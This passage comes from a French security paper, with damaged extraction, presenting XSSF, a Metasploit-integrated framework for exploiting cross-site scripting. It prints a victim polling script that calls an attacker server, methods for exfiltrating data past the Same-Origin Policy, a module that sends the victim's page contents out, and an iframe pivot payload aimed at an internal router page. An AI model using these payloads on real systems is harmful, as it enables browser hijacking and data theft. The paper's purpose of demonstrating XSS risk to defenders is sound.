te-server lrsquoautorise Il lui suffit drsquoutiliser les nouvelles entetes HTTP afin de rendrepossible la discussion entre les deux domaines

ltphp

Domaines autorises

header(rsquoAccess -Control -Allow -Origin http touchfacebookcomrsquo)

Methodes autorises

header(rsquoAccess -Control -Allow -Methods GET POST OPTIONS rsquo)

8 httpheiderichjso

L Courgnaud 309

gt

lt-- Code HTML JavaScript malicieux --gt

Ainsi le navigateur est autorise a charger la ressource malicieuse vers http

touchfacebookcom rendant toutes sortes drsquoattaques possibles (le code etantplace dans une balise div il a un acces total a la page)

Cependant il ne sera pas possible depuis un site web malicieux de charger uneressource drsquoun domaine qui nrsquoa pas donne son autorisation sauf en cas de mauvaisesconfigurations (entetes Access-Control definies a par exemple etc)

Dans notre cas cette technique peut simplifier la recuperation de donnees sur leserveur drsquoattaque depuis le serveur vulnerable (en configurant les entetes renvoyeespar notre serveur)

25 Attaques XSS connues et consequences

Au fil des annees de tres grandes attaques XSS ont ete menees grace a des XSSpersistantes et volatiles

Les volatiles bien que plus nombreuses sont les moins simples a utiliser pourrealiser une attaque de masse En effet elles impliquent une mise en confiance desutilisateurs afin de les amener a cliquer sur un lien malicieux Ce type drsquoattaque estsouvent lie a un envoi en masse de courriels avec du contenu legitime du moins apremiere vue Cela permet drsquoatteindre un grand nombre de victimes en meme tempsmais lrsquoattaquant ne peut jamais etre sur qursquoune personne va suivre le lien contraire-ment aux attaques persistantes qui elles ne requierent aucune action particuliere

Les attaques par XSS persistantes ont souvent pris la forme de vers afin de sepropager et drsquoatteindre le plus de personnes possibles Les plus importantes ont eulieu sur les plus grands reseaux sociaux (Facebook MySpace Hi5 etc) et ont toutespermis drsquoatteindre un nombre enorme de cibles en un temps tres court

Il existe de nombreux cas de vers XSS ou drsquoattaques XSS connues mais ce qursquoilfaut retenir est la puissance de telles attaques en termes de nombre de victimesdans un espace de temps tres court Les attaques XSS reposent en grande partie surla confiance des utilisateurs envers une application qui acceptent generalement lesactions realisees depuis des sites qursquoils considerent comme de confiance

310 XSSF demontrer le danger des XSS

3 XSS Framework (XSSF)

Apres avoir parle des possibilites offertes par les XSS nous allons desormaispouvoir rentrer dans le vif du sujet et detailler le fonctionnement du framework XSSFa lrsquointerieur de MSF

Lors du lancement du projet XSSF quelques outils existaient deja avec chacunleurs avantages et inconvenients (voir chapitre 39) La raison principale de realiserun framework supplementaire etait vraiment drsquoune part lrsquointegration dans MSF (tresutilise par les auditeurs) et drsquoautre part lrsquoajout de nombreuses fonctionnalites parrapport a lrsquoexistant

31 Metasploit Framework (MSF)

Metasploit est un projet open-source lie a la securite informatique qui fournitdes informations sur les nouvelles vulnerabilites aide a la penetration de systemesinformatiques et au developpement de signatures pour les IDS 9

Metasploit Framework (MSF) est le plus connu des sous-projets de Metasploit etsert pour le developpement et lrsquoexecution drsquoexploits contre une machine (locale oudistante)

Il peut etre utilise par des auditeurs pour tester le niveau de vulnerabilite decertains systemes afin de mieux les proteger par des pirates afin drsquoexploiter desmachines distantes ou a des fins drsquoeducation

Initialement developpe en langage Perl a sa sortie en 2003 MSF a ete complete-ment reecrit depuis sa version 30 (actuellement 360) en langage Ruby Les raisonsde ce changement sont assez diverses les plus importantes etant le fait de permettrela programmation par classes et modules ainsi que lrsquoexistence drsquoun interpreteur natifRuby sur la plate-forme Windows

Lrsquointeret principal drsquoun framework pour le projet XSSF est de pouvoir reutilisersimplement beaucoup de morceaux de codes et ne pas avoir a les re-implementerpour chaque module (sockets serveurs systemes de connexions etc) De plus MSFfonctionne sur toutes les versions de Linux Mac OS X Unix et sur Windows en

9 Un systeme de detection drsquointrusion (Intrusion Detection System) est un mecanisme destine a repererdes activites anormales ou suspectes sur un reseau (Wikipedia)

L Courgnaud 311

utilisant Cygwin (emulateur de systeme UNIX)

Enfin Metasploit Framework ayant emerge en tant que plate-forme de deve-loppement dans la securite informatique la publication drsquoune vulnerabilite logicielleest desormais souvent accompagnee drsquoun module drsquoexploitation pour Metasploit

32 Integration dans MSF

Avant de se pencher sur la partie de la construction du framework il a deja falludefinir comment lrsquoinserer dans MSF Apres avoir etudie les differentes parties lasolution qui a ete retenue est celle illustree en figure 2

Figure 2 Architecture de MSF avec XSSF

Lrsquoarchitecture du projet XSSF est la meme que celle de MSF dans le but drsquouneintegration officielle Nous noterons qursquoil nrsquoy a eu aucune modification des fichiersdeja existants pour lrsquoajout de XSSF

La partie MSF Core voit donc lrsquoapparition de nouveaux fichiers afin drsquoy integrerles fichiers de definition des tables de base de donnees necessaires au fonctionnementde XSSF

Ensuite la partie des fichiers du noyau du framework srsquoinsere dans MSF Base Celle-ci doit permettre lrsquointeraction avec la base de donnees et doit proposer unserveur web capable drsquointeragir avec toutes les victimes en meme temps Le noyaupropose aussi lrsquointegration de nouveaux modules drsquoattaques dans MSF ceux de type Auxiliary Ces modules peuvent etre rajoutes simplement par nrsquoimporte qui etchaque module correspondra a une attaque On retrouve par exemple un module de

312 XSSF demontrer le danger des XSS

tabnapping 10 un module de vol de fichiers sur Android etc

Enfin le nouveau plugin XSSF est integre au famework proposant ainsi de nou-velles commandes dans Metasploit Framework

Tous ces elements ajoutes vont permettre drsquointegrer XSSF dans MSF et de le fairefonctionner

Une fois Metasploit lance par lrsquoattaquant et plus particulierement le nouveauplugin XSSF un serveur drsquoattaque principal sera demarre Ce serveur a pour but defaire le lien avec

ndash toutes les victimes actives il doit permettre de garder un lien entre les victimeset lrsquoattaquant

ndash la base de donnees contenant des informations sur les victimes et les attaquesde chacune

ndash les differents modules drsquoattaques lances (exploits Metasploit ou attaques XSSF) ndash lrsquoattaquant qui doit pouvoir interagir avec le tout

Figure 3 Fonctionnement et architecture de XSSF

10 httpblogsorange-businesscomsecurite201005tabnapping-le-phishing-via-onglets-de-navigation

html

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

